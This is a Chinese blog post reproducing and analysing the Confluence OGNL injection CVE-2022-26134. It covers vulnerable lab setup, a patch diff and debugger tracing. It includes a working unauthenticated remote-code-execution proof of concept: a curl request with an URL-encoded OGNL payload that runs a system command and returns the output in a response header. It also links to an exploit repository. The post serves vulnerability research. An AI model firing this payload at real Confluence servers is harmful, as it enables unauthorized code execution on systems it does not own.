Confluence OGNL表达式注入漏洞复现与分析(CVE-2022-26134)
已于 2022-06-06 23:15:42 修改
2788
收藏 6
分类专栏: 安全研究 文章标签: confluence CVE-2022-26134 OGNL表达式注入 web安全
版权
安全研究
专栏收录该内容
2 篇文章0 订阅
订阅专栏
文章目录
0x01. 漏洞概述
0x02. 环境搭建
0x03. 漏洞复现
0x04. 漏洞分析
0x05. EXP
0x01. 漏洞概述
在受影响的 Confluence Server 和 Data Center 版本中,存在一个 OGNL 表达式注入漏洞,该漏洞允许未经身份验证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。
影响范围:
Atlassian Confluence Server and Data Center < 7.4.17
7.5.0 ≤ Atlassian Confluence Server and Data Center < 7.13.7
7.14.0 ≤ Atlassian Confluence Server and Data Center < 7.14.3
7.15.0 ≤ Atlassian Confluence Server and Data Center < 7.15.2
7.16.0 ≤ Atlassian Confluence Server and Data Center < 7.16.4
7.17.0 ≤ Atlassian Confluence Server and Data Center < 7.17.4
7.18.0 ≤ Atlassian Confluence Server and Data Center < 7.18.1
0x02. 环境搭建
Ubuntu 18.04
confluence:7.4.4
wget https://downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-7.4.4-x64.bin
chmod +x atlassian-confluence-7.4.4-x64.bin
./atlassian-confluence-7.4.4-x64.bin # 选择自定义安装,其他默认即可(此处以root权限执行安装,普通用户权限安装的话默认安装目录不一样)
# 安装mysql驱动
wget https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java_8.0.29-1ubuntu18.04_all.deb
# 解压上述deb包,在/usr/share/java/目录下可看到 mysql-connector-java-8.0.29.jar
dpkg -X mysql-connector-java_8.0.29-1ubuntu18.04_all.deb .
mv mysql-connector-java-8.0.29.jar /opt/atlassian/confluence/confluence/WEB-INF/lib
# 重启confluence(root权限执行安装,在 /init.d 目录下才有这个文件)
/etc/init.d/confluence restart
# 安装并设置mysql
sudo apt update
sudo apt install mysql-server-5.7
mysql -u root
alter user ‘root’@’localhost’ identified with mysql_native_password by ‘你的mysql密码’;
create database jiradb;
alter database jiradb character set utf8;
alter database jiradb default collate utf8_bin;
set global transaction isolation level Read committed;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
默认运行在端口 8090,访问 http://ip:8090/ 即可进入web安装流程。
PS:最后一步设置系统管理员密码的时候记得密码强度要满足一定的要求,输入简单的密码点下一步会导致安装报错(大雾.jpg,前端加个密码复杂度验证很麻烦吗???)。
若安装过程中因某些操作导致失败,且找不到合适的解决方案,可以考虑删除以下目录重新启动安装流程:
rm -rf /opt/atlassian/ /var/atlassian/
1
安装完成后如下:
0x03. 漏洞复现
命令执行POC:
curl -vv http://1.13.169.238:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/
1
0x04. 漏洞分析
配置idea远程调试:
vim /opt/atlassian/confluence/bin/setenv.sh
# 在 export CATALINA_OPTS 这一行上面加上如下一行:
CATALINA_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 ${CATALINA_OPTS}”
# 重启confluence
/etc/init.d/confluence restart
1
2
3
4
5
6
7
8
idea相关配置很简单,不多说了。
补丁分析:
由官方漏洞修复方案 https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html 可知:漏洞触发点应该是在 xwork 这个jar包里,下载 atlassian-confluence-7.18.0 和 atlassian-confluence-7.18.1,对比其中的 xwork 组件,发现主要做了如下更改:
故idea中在 final OgnlValueStack stack = ActionContext.getContext().getValueStack(); 这一行打个断点,执行payload触发命令执行,idea成功断下,如下:
看了下调用栈,发现经过一系列的filter后, requestDispatcherPath 变为 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),“utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Response”,#a))}/index.action
接下来的过程有点复杂懒得写分析了,直接上调试截图:
ognl表达式部分解析调用过程:
获取命令执行结果:
0x05. EXP
https://github.com/Brucetg/CVE-2022-26134

https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
this problem has been solved in 2023/06/22